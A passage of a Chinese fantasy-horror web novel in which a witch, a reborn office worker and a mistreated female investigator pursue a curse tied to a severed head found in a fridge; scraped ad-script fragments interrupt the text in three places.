女巫盯着碗里剩下的汤,那双赤金竖瞳看起来近乎狰狞,似乎在强忍着浇他个透心凉的冲动:“你能不能先思考一下,冯筱迁为什么要召唤笔仙?” 一句“这我哪知道啊!”被郑颢硬生生咽了下去。 他充分意识到,要是胆敢把这句话说出来,女巫极有可能当场施法把自己变成一只知了猴。 想到那些对冯筱迁近乎诽谤的不友善言论,郑颢终于恍然大悟:“因为她遇到了非常痛苦的事情,走不出困境,所以只能寄希望于这种……神秘力量?” 岑小哉也终于吃完了面,随手把碗筷往旁边的虚空一放。 鸡公碗和那双筷子安份地呆在空气上面,和女巫一样,没有半点在乎地心引力的意思。 郑颢本以为她会再表演一个“隔着两米多的距离从后方茶几上抽来餐巾纸擦嘴”。 结果,他眼睁睁看着地砖上平白无故就长出了—— 一棵柳树苗。 整棵树苗抽丝剥茧般进行了一番变化,最终成为送到女巫手中的一张柔顺纸巾。 全程不超过三秒钟。 “笔仙不是什么神秘力量,它是亡者的强烈怨气。召唤仪式就是在打开禁锢着怨气根源的锁,冯筱迁要赌上一切,去做这场万劫不复的交易。” 女巫原本语气懒散,突然就阴森森问他:“郑颢,你想再死一次吗?” 已经死过一次的郑颢吓得说不出话,只能拼命摇头。 “所有被笔仙吞噬的灵魂,都无法再经历生死。” “笔仙,它,吞噬的是灵魂?”郑颢曾经的另一种心存侥幸再次被打破,“那也就是说,假如我死了变成鬼,也根本没法对付它?” “你想得太美了,实际上是完全没有变成鬼的机会。” 岑小哉说完,发现郑颢望着她,一副欲哭无泪的样子:“女巫大人,您会保护我的,对么?” 郑颢想起女巫对自己的称呼:1号钥匙。这说明什么,说明他本人肯定还有一些未知的利用价值! “我有个死对头是亡灵法师。”岑小哉倏地冷笑了一下,“对我来说,炼制怨气和灵魂的困难程度是差不多的,只不过前者要比后者多几道‘工序’而已。” 某个弱小凡人一下子两眼放光:“所以您大驾光临,是不是为了收集笔仙的怨气?” “算是吧。” 尽管女巫的回答有点含糊其辞,郑颢还是觉得自己的人身安全得到了极高的保障——就连“再死一次”好像也没那么可怕了,只要不是“落入笔仙手中连死的机会都没有”就好。 他拍了拍胸口,暗中松了一口气。从刚开始就在纠结的一个小问题,终于可以小心翼翼地问出来:“那个,女巫大人,您的……飞行工具呢?” “一直在这儿,我给它涂了隐形药水。”岑小哉伸手拍了拍底下的“空气”。 或许是刚刚填饱了肚子,女巫看起来没那么暴躁了,甚至还主动跟他解释了一番。 “它最近不太适合出现在受律法保护的公众场合,因为我之前改装魔法扫帚的时候,使用的‘无限糟糕引擎’是从盲蛇集市淘来的二手货。” “啥?什么引擎?”身为弱小凡人,郑颢对自己的听力产生了怀疑。 女巫飞来一记眼刀,复述道:“无、限、糟、糕、引、擎。” 郑某人老老实实闭嘴煮面去了。 站在厨房里翻找食材的时候,郑颢甚至心情很好地哼起了小曲儿。 神秘女巫的出现让他感觉松了一口气,有满满的安全感,再也不担心梦里的笔仙爬出—— 冰箱里寒气涌动,露出冯筱迁死不瞑目的一张脸。 4. 全部揍晕 岑小哉正在跟那本魔法书极限拉扯。 【尊敬的主人,不必忧心。大气层交通管理部门的执法范围仅限于曼陀罗星系,您在可观测宇宙荒芜地带的非法飞行绝不会招致更多罚单。】 女巫抱臂思考,完全忽略了它的友情提示。 当然,她这时候主要是在反思,自己刚才“一脚将某个凡人踹出噩梦”这一行为到底正确与否。 很糟糕的是,她隐约觉得答案为“否”。 魔法扫帚兴奋的引擎声就是最佳证明。 “看来,郑颢并没有觉醒那个技能。如此弱小无用,别说直接去面对笔仙了,哪怕沾上半点怨气,这只知了猴都能叽叽歪歪的把自己再次吓死。” 【郑颢先生确实就是那个被1号噩梦选中的祭品……哦不,玩家。既然您无法直接干涉人类世界的运行轨迹,便只能从玩家们的“经历”中着手进行调整。只不过呢,下一个关键线索所在的地点比较隐秘,您可能需要寻求本地公共安全机构里面某些虫子的帮助。】 那本凡人暂时无法看见的魔法书语调昂扬,声音达到了扰民级别的刺耳程度。 【尊敬的主人,如果您不想拖家带口从阿柏基地被驱逐出去,就请认真遵循我的指示。】 女巫磨了磨牙,伸手捏住肩上的麻花辫,试图让自己冷静下来——最终似乎失败了。 两条发辫“嘭”地炸开,意外达到了孔雀开屏的视觉效果。 就在岑小哉气到炸毛时,一墙之隔传来锅碗瓢盆落地的嘈杂声响。 “鬼,不是!尸体,冰箱里有尸体!”郑颢连滚带爬手脚并用,艰难而迅速地把自己从厨房里解救出来,“我又看到冯筱迁了!她在冰箱里,救命!” “这不科学,冯筱迁现在还是个大活人呢。”女巫一脸冷漠地飘到他面前。 她依然保持着原先的坐姿,但发型却有了巨大变化。 郑颢趴在地上仰着头,双重震惊的强烈冲击之下,他看起来有点神志不清。 女巫无意间一瞥,在他瞳孔里看见自己的倒影:脑袋上的浅粉色头发纷纷竖起,笔直如放射线。而无数熠熠生辉的金色眼珠子点缀其中,一边窸窣窃语,一边俯视着地上的弱小人类。 以及偷偷摸摸跟在他身后的灰色影子。 “噢,这是我逗猫的小把戏,偶尔会忘了收起来。” 岑小哉又打了个响指。 所有金眼睛争先恐后地眨了眨,房间里顿时有好几道光线在狂摆乱切,那抹灰影当即被斩得四分五裂。 金眼睛们也终于乖乖没入粉色发丝中。 郑颢头晕目眩,差点当场昏过去。 令女巫感到不可思议的是,这只知了猴晃了晃脑袋之后,居然又能开口说话了,就是声音比较虚弱。 “拜托了女巫大人,您的存在就是最大的不科学。更何况,我自己从一开始就夺舍重生了,这难道很科学吗?” 岑小哉沉默着绕开他,飘进了厨房。 冰箱门明晃晃开着,寒气不停往外冒。郑颢看见的冯筱迁尸体其实只是一颗头颅,被层层冰霜包裹着。再怎么艳丽的面容,死后也显得分外可怖。 女巫凑近看了看,远离此处的郑颢又往后挪了挪。 她甚至很认真地跟头颅上圆睁的那双丹凤眼对视了一会儿。 “啧。”岑小哉由衷感慨:这股怨气真的很强烈,几乎能够扭曲现实。 她当即决定,重新选择一个更靠谱的凡人作为“备用钥匙”。 “放心吧,这颗头不是冯筱迁。” “噢,那就好。”郑颢一口气松到一半,忽然卡在了呼吸道里面,“不对啊!不是冯筱迁,那也是别的……别人的尸体啊!这星期我开了好几次冰箱,根本就没发现她!今天晚上才有的!” “一个星期,那不就刚好七天了?” 岑小哉慢悠悠回过头,用五个字将郑颢彻底击垮:“头七,回魂夜。” “秦正浩【哔——】真的杀过人!?这【哔——】就是他杀的人?【哔——】来找我复仇?” 绝望的知了猴跪在地面上,发出一连串悲鸣。 女巫终于对他产生些许怜悯:“你别哔了,报案吧。” 郑某人从地上一跃而起。 经魔法书评估,他的精神状态在此刻达到了最高峰值,几乎突破临界点。 “什么?报案?你一个女巫,【&%*#】居然让我去报案?冰箱里那是一颗人头,不是个皮球!我【&%*#】自投罗网吗?” 十分钟后,郑颢老老实实呆在古堃区安全署的讯问室专座上,旁边飘着一个除了他以外没人看得见的炸毛女巫。 … 凌晨一点十一分,值班室有几个男的正叼着烟在王者峡谷里厮杀。 戴玉粒刚回宿舍洗了个头,还没来得及洗澡,就被一通电话催回来加班。 去给嫌疑人做讯问笔录的时候,她的头发还没吹干,几缕碎发湿漉漉粘在后颈。 但这个年轻女孩的表情很平静。 她走进讯问室,眼神有一瞬锐利,直直望向嫌疑人身旁,却什么也没发现。 实际上,女巫肆无忌惮地迎着她的视线,笑得很嚣张:“哦呼!努力收敛利爪的雪豹,把自己变成了逆来顺受的小猫咪。很好,就选你了!” 这位探员姐姐做完笔录,转身离开,走到了值班室门口。 一只小蜘蛛正在门缝上织网。 她敲了敲值班室那扇大喇喇敞开的门板:“报告队长,讯问笔录做完了,我可以去现场了吗?” “先等会儿,哥哥们忙着呢!” 值班室里烟雾缭绕,好不容易才以几句“您已阵亡”结束了狂热战局。 有人打哈欠,有人伸懒腰。 他们仿佛不约而同地忘了戴玉粒这么个大活人。 到和平公寓侦查取证的同事们在群里发来语音,纷纷表示“这段时间不想再吃麻辣兔头”。 作为古堃区安全署里众星捧月的二世祖,高照输掉刚才那把游戏的不愉快,很快就被麾下小弟的哀嚎声冲淡了几分。 他翘着二郎腿,笑眯眯回了条语音:“别废话了山猪,拍的照片发出来看看。” “嘿嘿,还真别说。” 通讯的另一边,外号“山猪”的李万兴偷笑了一下:“这女人长得贼漂亮,都快赶上照哥您之前得手的那个小豆芽精了。” “你还不赶紧的!再吊老子胃口,回来我抽你。” “叮咚”一声,被害人的照片已发送到他们的群聊里,引起值班室几人一阵夸张惊叹。 “卧槽,她长得像我女神!” “哪个女神?软软吗?还是梦梦?” 听他们讨论的语气,绝对想不到这些衣冠楚楚的“青年才俊”是在品评—— 一颗已经被人砍下来的头颅。 “欸,还真不赖,可惜了。”高照说完,貌似无意间一抬头,这才看见了站在门口的戴玉粒。 “私下传阅尸体照片,是一种非常不尊重逝者的行为。”她站姿挺拔如松,面若寒霜,捏着笔录的指节隐隐发白。 “嗤,我人还在这值班呢,怎么就‘私下传阅’了。再说,人都没了,还谈什么尊不尊重。”高照又点了一支烟,不怎么抽,就烧着玩儿,“你杵着干嘛呢?要站岗也别站这儿啊,今晚到我房门口站呗。” “不愧是咱照哥,玩得够刺激的!” 几个男的开始狂笑。 戴玉粒走过去,“啪”地一声把讯问笔录拍在高照面前。 笑声戛然而止。 侦查员签名那里写着笔力遒劲的三字行楷:“戴玉粒”。 “婷婷啊,怎么这么不懂事呢。”高照斜眼一瞥,在她的名字上点了点,“划掉,写你照哥的名。” 这个离谱要求——以及每次都神经兮兮喊她小名的怪癖,成功点燃了戴玉粒的满腔怒火。 她直接就把笔也拍桌上了,但表情依然古井无波:“高队长,我也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是侦查员,为什么每次都不让我出任务?” 高照什么也不说,开始刷短视频,眼都没抬。 另外几个人刚刚跟死了没埋似的,这下又原地复活了。 “哎我说小戴,好端端的怎么还急眼了呢?有话慢慢说,对照哥大呼小叫的像什么样子?” “就是嘛,你好歹也是咱们署里的三朵金花之一!哪能让女同志天天跑外勤,这要是受伤了吓坏了,未来的妹夫可不得找哥哥们算账啊?” 这时,高照转过头,似笑非笑地看了说话的人一眼,有点赞许的意思。 粤州安全总署的“二爷”高墨龙卸任三年,余威犹在。 为了保住饭碗,没人敢得罪他四十岁后才得的宝贝儿子。 然而,面对一个初出茅庐的小丫头,跟屁虫们都很乐意前赴后继,主动替二世祖冲锋陷阵。 这几只跟屁虫的嗡嗡声仿佛无处不在。 戴玉粒闭了闭眼,下意识攥紧了双拳。忽然,她听见一个冷冽声音,无比清晰地响在耳旁:“这些废物全体出动都追不到一个毛贼,你为什么还要干站着听他们用嘴巴排泄无用废气?” 是啊,为什么呢? 年轻女探员心中涌起一阵迷茫。 身为新唐公共安全大学侦查学专业的优秀毕业生,入职一年半,整整四百天都在干后勤杂活,还时不时被安排去给徒有其表的二世祖打扫房间…… 就算是出于对某位故人的缅怀与追崇,她也无法再忍受这种莫名其妙的“优待”。 “反正他们加起来都打不过你,那你还犹豫什么呢?全部揍晕就行了。” 戴玉粒缓缓点头:“你说得对。” “哟,婷婷你终于想通了?晚上愿意给哥站岗?”高照抬起头,脸上那抹轻佻笑意只停留了三秒。 小蜘蛛滴溜溜爬到里面墙上。 值班室的门无风而动,缓缓关上了,并“咔哒”一声反锁。 … 某只知了猴还呆在讯问室里。 刚刚来做笔录的美女探员一去不回,搞得他非常心慌。 “小明小明,展示追踪目标。”女巫忽然掏出一颗水晶球,在墙壁上投影出一幅真实画面,正是门上那只小蜘蛛的视角:探员姐姐走到值班室门口,被里面的乌烟瘴气熏得差点倒退。 接着就是她被晾在一旁以及男同事们调侃、嘲弄的全过程。 二世祖的跟屁虫集体围攻戴玉粒时,岑小哉忽然对着水晶球开口说话了。 她让戴玉粒把他们全部揍晕。 郑颢听完,一整个目瞪狗呆:“女巫大人,这样不太好吧?” “嗯哼?”女巫大人显然有点不悦。 “双拳难敌四手啊!她一个女生怎么打得过……”那么多个男的? 郑颢缓缓闭嘴了。 水晶球投影中,英姿飒爽的探员姐姐已经开始揍人—— 而郑颢脑子里瞬间浮现几句歌词:“一个马步向前/一记左勾拳/右勾拳/一句惹毛我的人有危险。” 画面有长达两分钟的混乱。 二世祖首当其冲被打飞出去,高挺鼻梁歪到一边,半颗门牙离家出走。 有个倒霉蛋则被他当场砸晕,这对酒囊饭桶的重量竟然压塌了一张办公桌。 “戴玉粒!你疯了吗?” 余下三只虾兵蟹将立刻决定联手,同时扑上去,可能是想用体味和口臭把戴玉粒熏倒。 结果也被她一拳一个,打得迅速趴下带伤装死。 女巫凭空变出一桶香甜的爆米花,边吃边看,可谓是津津有味。 两分钟后,一屋子人整整齐齐地躺下了。 戴玉粒甩了甩手,表情平静中带有些许嫌弃。 这时候,高照竟然还挣扎着从办公桌底下爬出来,顶着满头木屑去摸索自己的通讯器。 “完了完了,这个二世祖要摇人了!”郑颢在讯问室里化身名画《呐喊》。 岑小哉依然一脸淡定地嚼着爆米花。 5. 谁更肮脏 戴玉粒的第一反应也是想阻止高照去拿通讯器。 但刚才那个让她动手的声音却说:“不用管他。” 她垂下眼帘,没开口,最终决定赌一把。 反正事已至此。 高照哆哆嗦嗦拿起通讯器,映入眼中的是破碎屏幕,以及屏幕中一张惨白的艳丽面容。 那双瞪得几乎脱眶的丹凤眼,忽然眨了一下—— 浑浊瞳仁也在瞬间变成了浓重如墨的血色。 他僵在原地,紧紧捏着通讯器一动不动。 戴玉粒双手环臂盯了这家伙许久,感觉有点不对劲:“高照?你在干什么?” “部分人类在受到巨大惊吓与刺激的时候,就会被潜意识接管躯体。” 女巫将爆米花桶丢回虚空,以同样的环臂之姿飘进水晶球投影中,直接出现在值班室里面。 “这是一种便捷式催眠的前提条件。” 可就连岑小哉也想不到,高照又摇摇晃晃站起来了。他看向戴玉粒的眼神十分狂热,犹如丧尸看见了活人。 “我喜欢你,戴玉粒。从高中开始直到现在,这七年来我一直都很喜欢你。” 探员姐姐先是一愣,脸色瞬间冷到极致:“高照,你脑子有毛病吧?” 有句话叫做“暗恋是一个人的兵荒马乱”,她此刻只觉得这句话特别滑稽—— 二世祖的暗恋,就是在长达七年的时间里,不停给戴玉粒制造兵荒马乱。 包括但不限于“高中时三天两头被校外混混找茬”、“大学时向所有同学宣扬她的外号‘男人婆’”、“毕业后天天让她负责打杂变成专属保姆”。 一切确实都有迹可循。 所以,戴玉粒此刻只想把高照往死里打。 … 计划有变。 岑小哉本想对高照进行催眠,让他乖乖把队长的位置让给戴玉粒,现在看来似乎没这个必要了。 于是,女巫飘在半空中,决定对面前的二世祖受虐现场装作看不见。 她抬头望向值班室天花板角落的摄像头,不久前隐藏在头发里的无数只金眼睛再次睁开,光芒化作细微如蛛丝的实质,迅速渗入电源。 硕果仅存的唯一一台终端瞬间黑屏,荧光绿数据流秒速闪过,最终汇聚为一句:【Goodluck,myfriend.】 “谢谢你,SWAN!你的存在就是我最幸运的事情!”岑小哉笑眯眯地朝摄像头挥了挥手,台式终端里储存的监控画面立刻开始自动倒退、跳帧,其中戴玉粒以少敌多的身影被尽数抹除,只留下她站在值班室门口的一幕。 而这一幕也被裁剪出来,拼接到满室狼藉之后,保证没人会认为这一屋子的鸡飞狗跳跟戴玉粒有关。 在神秘外援的帮助下,岑小哉非常熟练且轻松地搞定了一切,顺便看到了一些被人特意删除的关键信息:比如古堃安全署关于下层南街治安情况的部分查访记录。 凌晨三点,整场混乱局面进入尾声。 救护车火速赶到,将鼻青脸肿的二世祖及其麾下一干小弟全部拉去住院,甚至还从和平公寓抬走了剩下的几个。 前面五人的诊断结果是:“短时间内摄入过量的尼古丁对中枢神经系统造成了高强度刺激,最终导致病人们骤然性认知失调,彼此之间产生混乱的攻击行为。” 简称:吸烟吸傻了,开始互殴。 和平公寓那几个更离谱,据说是在嫌疑人那一室一厨一卫——加起来还不到三十平方米的屋子里迷了路,活生生绕晕在厨房门口。 为了调查这桩冰箱藏头案,古堃区下层刑侦支队一夜之间竟然损失了三分之一的战力,实在让人匪夷所思。 当然,伤情最严重的还得是高照:他的门牙断裂、鼻梁骨折、左手臂脱臼,外加轻微脑震荡。 别说亲娘亲爹了,就连去粤州安全总署开会的探长林振明都急忙披星戴月地赶回来关心“下属”。 至于戴玉粒…… 她目送救护车开走之后,回宿舍洗了个澡,补了一觉。 上午八点整,她准时到岗查案。 昨夜的一切混乱似乎终结于那个神秘声音消失之际。 嫌疑人秦正浩到安全署“自首”后一问三不知,讯问笔录反而更让人找不到头绪,和平公寓的监控录像也看不出什么异常情况。 直至戴玉粒看到被害人的头颅特写照片,忽然产生了一丝莫名的熟悉感:她似乎在哪里看过这张脸—— 林探长回来时,戴玉粒已经从之前抽空整理的新唐各州区历年刑事档案里,搜寻出与冰箱藏头案被害人有关的一处线索。 “4·30伍港灭门案,发生在七年前的一桩重大恶性刑事案件。”她先将一张案发现场照片的复印件放到林探长面前的办公桌上。 林探长看了一眼,那双花白眉毛皱得打结:“伍港区?是不是那个聘金杀人案?” “聘金不会杀人。”戴玉粒深吸了一口气,但脸色依旧不太好看,“杀害许家六人的凶手胡锐锋早已伏法。” “这跟咱们古堃区的冰箱藏头案有啥关系?” 戴玉粒拿出头颅的特写照片,放在原先那张照片复印件的旁边:“探长,经过智能程序对比,古堃藏头案的被害人和伍港灭门案中这名年轻的女性被害人,容貌相似程度为87.679%。” … 郑颢万万没想到,那位神秘的女巫大人居然也一起进了拘留室! 只不过从昨天晚上到现在,除了那位女探员听过她说话之外,就再也没人发现她的存在。 保密工作做得十分到位。 但郑颢本人左思右想,总觉得心里不踏实:“女巫大人,您兜了这么大的圈子,该不会就是为了把我坑进来蹲着吧?” “你想太多了,没必要高估自己。” 岑小哉正对着自己的双手不知在研究什么,百忙之中抽空给了他一记暴击:“我需要找这里的原住民打探一些消息,不把你也弄进来,你柔弱的灵魂现在就已经成了笔仙的一道开胃菜了。” “拘留室的……原住民?”郑颢四下张望,没发现这个一干二净的“单人间”里还有第三个活人。 他忍不住搓了搓小臂上悄悄浮起的鸡皮疙瘩。 既想离女巫远一点,又不敢真的离她太远。生怕冯筱迁召唤的那个笔仙忽然冒出来,张开血盆大口把自己吞了。 岑小哉没去理会那只知了猴的多愁善感。 她正准备审问所谓的“原住民”。 “这是我家砂糖橘。” 女巫左手上倏地出现一只主色调为深橘的三花小奶猫。 “这是我家小菠萝。” 女巫右手上也倏地出现另一只主色调为浅黄的三花小奶猫。 喵喵声此起彼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 伏。 即便到了陌生环境,两只圆脸小猫咪依然不改社牛本质,立刻就要从女巫手中跳下来。无奈双双被拎住了后颈皮,只能各自弱小无助地挥舞着四只小爪子。 岑小哉将这对毛绒绒的“恐吓工具”抱在怀里,开始威胁那些“原住民”。 “待会儿我问的事情,你们必须好好回答,从实招来。不然,我就把你们全部抓起来,带回去给她俩当玩具。” 郑颢全程顶着个问号脸。 直到他看见床底爬出了一只蟑螂,两只蟑螂,三只四只五只六七八九十……密密麻麻大大小小的一群蟑螂!!! 起码十代同堂。 它们聚集在“单人间”里仅有的一小块空地上,整整齐齐地排列出四个字:小、的、遵、命。 “妈呀!这儿看起来比秦正浩那个狗窝干净多了,怎么也会有这么多蟑螂!”郑颢原地抱头发疯。 女巫冷笑:“罪恶盘桓之处,外表看起来再干净,依然是蟑螂老鼠的乐园。” 她开始向那群蟑螂提问。 “被关在这里的上一个人叫什么?” 蟑螂们迅速排成三个字:黄、德、寿。 “他为什么会被关进来?” 蟑螂们又排成三个字,这三个字是—— 找、小、姐。 这个答案让郑颢感受到一种强烈的耻辱:“好倒霉啊,我居然进了这种人住过的地方。” 岑小哉反而沉默了一会儿。 “找什么小姐?为什么他找一个女人就要被关进来?” 这个问题或许太过深奥,蟑螂们一下子给不出回答,子子孙孙晕头转向东倒西歪。 郑颢咳了咳:“‘小姐’是一种特殊职业的代称,那种职业是不合法的,而且比较……呃,比较肮脏。” “肮脏?”女巫想了想,终于找到恰当的例子,“就像探员姐姐打晕的那些人一样,对亡者的头颅也能产生欲望?” “……差不多吧。” 郑颢绞尽脑汁,又补充道:“也不太对,找‘小姐’的人是用钱去购买‘小姐’的服务来满足自己的欲望。” 岑小哉面无表情地盯着他:“那你为什么说‘小姐’肮脏?” 郑颢一下子急了:“她们为了钱出卖自己的身体,这难道不脏吗?” “我记得你们人类世界有一句话叫做‘没有买卖就没有伤害’。如果没人为此支付金钱,这种非法交易自然就会消亡。” 女巫俯视着他,如同看垃圾般的眼神:“也就轮不到你来指责她们肮脏。” 蟑螂们爬来爬去,飞快排列出四个字:臭、不、要、脸! 顺便加个箭头直指着郑颢的方向。 “喂!你们一群生活在阴暗角落里的虫子,怎么还好意思吐槽我们人类啊?” 虽然郑颢很不高兴,但面对女巫的核善表情,他很明智地选择了保持安静。 不要脸怎么了,就是不要脸才能活到大自然的食物链顶端! 堂堂一个人类,何必跟几只蟑螂计较。 岑小哉继续审问它们:“黄德寿是什么时候被放出去的?” 蟑螂们给出的答案是“上个周末,有人捞他”。 “这种事,也需要‘捞’?”郑颢挠头。 不等女巫继续发问,那群蟑螂就告知了原因。 那个“小姐”失踪了。 6. 女巫奔月 郑颢“嘶”地倒吸了一口冷气:“女巫大人,您昨天说冰箱里的不是冯筱迁,难道是这个‘小姐’?” “不太确定。” 随后,女巫低头问蟑螂们:“你们知道她的真名吗?” 它们再次排列组合:魏、笑、纤。 女巫面前凭空长出一枝茉莉,枝桠上开着好几朵花,散发出微弱香气。 其中一朵幻化成小小的白蝴蝶轻盈飞舞,旁边那朵却从枝头坠落,无论小白蝶如何追逐挽留,最终还是变成了黯淡无光的点点粉末。 岑小哉挥了挥手,拂去一切幻象。 随后,她赦免了蟑螂全族,抱着两只小猫沉默了很久很久。 观测是女巫们与生俱来的天赋。 某些特定的时刻、地点和角度,她们可以从一个人类的真名中,感知到命运为之安排的重大事件。 比如伴随着魏笑纤这个家中次女的长久漠视、未成年时就从“父”被转手到“夫”的肢体暴力、逃离之后又掉入另一个用金钱堆砌起来的虚假梦境。 “那颗头颅,既不是冯筱迁,也不是魏笑纤。”女巫的脸色很不好看,“后者被人用作一种邪恶法术的材料。因此,她的灵魂已经完全消散了。” 人间于那个女人而言,是彻底的深重苦海。 她甚至无力积攒出更多怨气来保住自己,就连死后也要被消耗殆尽。 郑颢没怎么听懂,但也知道女巫说的绝对是很可怕的事情。 于是他更慌了。 “那,那咱们接下来该怎么办?” “昨晚的探员姐姐会过来把你调走。” “哪有那么容易啊?我现在可是个犯罪嫌疑人!”想起这事,知了猴更加愁眉苦脸。 岑小哉终于阴森森转过头,看起来有点想用他来喂猫。 “昨天晚上,我已经修改了她们的案件记录,你很快就会被当成重要证人带出去。” 郑颢缩起肩膀,小声嘟囔:“证人?什么证人,我啥都不知道哇。” “再不闭嘴,我就把你变成蟑螂。” 砂糖橘和小菠萝非常兴奋地喵了两声。 某个弱小人类立刻抬手抱住自己,感受到了一种来自小奶猫的迷之威慑。 “真奇怪,都分成五等份了,怎么还是不行?”又过了一会儿,女巫抬手撑着额头,喃喃自语,“哦不对,七天。那估计要凑到七个才行。” … 古堃区人民医院。 某间高级病房里传出一声暴喝:“装什么蒜,你下午就给老子滚回去!” 外人总以为老父怜幼子,可实际上,年近古稀的高墨龙训他的“宝贝儿子”比训狗还凶。 要不是医生说高照有轻微脑震荡,二爷刚进病房就打算给这糊涂蛋来两巴掌清醒一下,高照他妈哭天嚎地才好歹劝住了。 “哭什么哭!瞧你生的废物,这不好好坐这儿,还没死呢就一个劲儿哭,也不嫌丧气。” 高墨龙骂完老婆吕燕柔,又接着骂儿子是“扶不上墙的烂泥巴”。才骂到一半,古堃区安全署现任探长林振明就风尘仆仆赶来探望高家公子。 等他走了,高墨龙倒也没气力继续骂,直接就让高照收拾收拾准备出院。吕燕柔心疼儿子还想再劝劝,被丈夫瞪了一眼,只能默默掉眼泪。 “和平公寓这个案子,得先查一个叫‘黄德寿’的。这人是个招摇撞骗的神棍,就喜欢在女人堆里打转,跟你差不多一个烂德行。” 高墨龙也实在不指望高照能自己查出什么所以然来,干脆直接给儿子指了条明路。 “这个月南街那边抓绩效,姓黄的又栽了跟头。是胡炯烽上门来帮他打点,送了一对大柚子给我,说是什么外来品种,叫‘黄金蜜柚’。” 高照听得一愣一愣的,但压根儿不敢打断他爸的话。 “剥开了皮才知道,里边果瓤都是纯金雕出来的。呵,屁大点事搞这么多弯弯绕绕!胡炯烽这人呐,不愧是能在伍港那种小地方闯出来的笑面虎。” “爸,那我查他俩,会不会影响到你……” “我说你脑子是不是真摔成八瓣了?要不是阿悬走得早,老子哪里敢指望你这么个废物点心?” 高墨龙是真的忍不住,差点就伸手给“宝贝儿子”来一个大耳刮。 “你林叔把人放了之后,金柚我也给送了回去。那两个家伙一看就是能犯大事儿的,我沾他俩?怕不是嫌命太长了!” 高照就这么打着石膏缠着绷带,被亲爹骂骂咧咧地轰出了医院。 司机老李载着高墨龙夫妇俩回家了,高照麾下的一干小弟大多数还在病房里昏迷,只有老李的好大儿李万兴皮糙肉厚,输完两瓶生理盐水就能跟着高家公子出院。 “邪乎,真就他娘的邪乎了,照哥。” 李万兴坐在副驾驶,表情还有点恍惚。 “冰箱里那颗头倒还没什么,我寻思着进他房间再找找线索,刚推开门——嚯,好家伙!床边飘着个鸡公碗,还有双筷子。” 旁边开车的同事笑嘻嘻揶揄他:“山猪你挊多了眼花吧?” “呸,你小子昨晚又没在和平公寓,瞎扯个屁!” 高照对昨晚发生的事也是晕晕乎乎,根本搞不懂自己怎么会伤成这样。他只知道,自己现在的心情非常糟糕,急需一个温柔乡来安抚一下。 “莉莉,晚上在家吗?我过去找你。”他懒洋洋地发了条语音。 李万兴一脸难以置信地转过头,看了看他左手臂打的石膏夹板:“照哥,您都这——样了,还要去小豆芽精那儿?” “最近太忙,少说也得半个月没联系她了。”高照“嗤”地笑了一下,“我可以躺着不动。” “就像尸体一样。” 不知为何,同事语气硬邦邦地接了这句话。 “小乐你抽哪门子风呢!”李万兴转头就喷。 谁知对方忽然一个急刹车,他当场被安全带勒出惨烈的猪叫声。 “五——六——” 小乐倏地扭过头,目光呆滞地伸出食指,从李万兴指到后座的高照,最后在两人无比惊恐的眼神中,转向了自己:“——七!” 他的双眼在瞬间覆上了如墨般的血色。 … 下午四点,天空中铅云沉沉,是风雨欲来的征兆。 戴玉粒刚把重要证人“秦正浩”带出拘留室,就接到了林探长的电话。 “小戴,你先去人民医院看一下,李万兴他们几个的电话全都打不通。” “是,探长。” 挂断电话之后,原本打算去南街寻访另一位证人的戴玉粒将油门一踩,切换路线,直奔古堃区人民医院。 “这位探员同志,怎么就你一个人出任务啊?” 女巫在上车前忽然抱着她的两只小猫咪不知去向,郑颢此刻内心害怕到极点,忍不住就想找人说说话。 “分工不同。” 戴玉粒看起来还是那么平静,跟她昨晚大展拳脚之前——以及之后的状态几乎一致,仿佛所有情绪都只在动手时才会宣泄出来。 从某种程度上来讲,这位心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 态稳定到喜怒不形于色的美女探员,也是个少见的狠人。 这么一想,郑颢顿时产生了久违的安全感。 可惜不到半分钟,他又听见女巫的声音,就出现在平均时速50千米的车窗外面。 “知了猴!赶紧想想,有没有一个人既认识你,又认识冯筱迁?” 知了猴左顾右盼,没见着岑小哉的半点踪影,只好瞄了戴玉粒一眼——美女探员正专注于在快速通道上避开其他车辆。 他立刻尝试用意念回复了女巫:“可能有一个,就秦正浩隔壁工位的麓哥。” “这个人有没有什么异常表现?” 异常表现……特别喜欢在背后说人闲话,这算不? “戴探员,我能联系一下我们公司的一个同事吗?”郑颢挠了挠鼻子,转过头试探着开口,“我这两天都没法去上班了,得跟麓哥知会一声。” “可以。” 戴玉粒说完,忽然停顿了一下,语气难得有点讶异:“等一下,你说的是不是刘麓诚?” “对啊。”郑颢一边拨通了秦正浩备注为“麓哥”的号码,一边对她茫然点头。 “他上个周末就已经因车祸去世了。” “喂,小秦?你在哪儿呢?” 通话彼端,嘶嘶电流声中传来对方依然熟稔的语气。 ——如蛇吐信。 车里的温度仿佛在瞬间冷却。 如果刘麓诚早在上周末就去世了,那此刻接电话的人,是谁? 周一那天跟他提到冯筱迁的“人”,又是谁? 他这些日子的记忆,究竟是真实,还是虚幻? 郑颢浑浑噩噩地挂断了通话,什么话也说不出来。 一阵狂风突如其来,卷起路边的枯叶残枝和塑料垃圾,凝聚成扭曲人形,噼里啪啦地扑在车前的挡风玻璃上,阻挡了大部分视野。 戴玉粒眉头微蹙,迅速打转向灯,减速准备靠边。 落叶凌乱如雨,前面路旁那排五六米高的景观树在风中猛烈晃动,分分钟就要倒下的架势! 她随即听见了车外的一声怒吼:“它牡的,来不及了!继续往前开!” 但,前面的隧道口上方已经有泥土簌簌掉落,一些野生植物被狂风连根拔起,嵌在山体中的几块巨石似乎也开始松动。 这是性命攸关的时刻。 戴玉粒知道,自己原本选择的是最具有安全保障的做法。她既不必,也不该在一个寻常的恶劣天气里冒险。 忽然间,挡风玻璃上的所有杂碎又被一扫而空。 天空已经完全被乌云遮蔽,如夜幕降临。 远处却升起了一轮巨大的圆月,比它下方的山峰更加庞然,仿佛要将世间阻碍全部碾平。 “走吧,相信我。” 头戴尖顶帽的身影轻轻落在引擎盖上,手中握着的却不是什么扫把,而是一柄泛着寒光的斩.马刀。 “我是女巫。” 戴玉粒记得这个声音—— 她有一瞬怔神,又很快笑了笑,用最大的力气踩下油门。 “好,我相信你。” 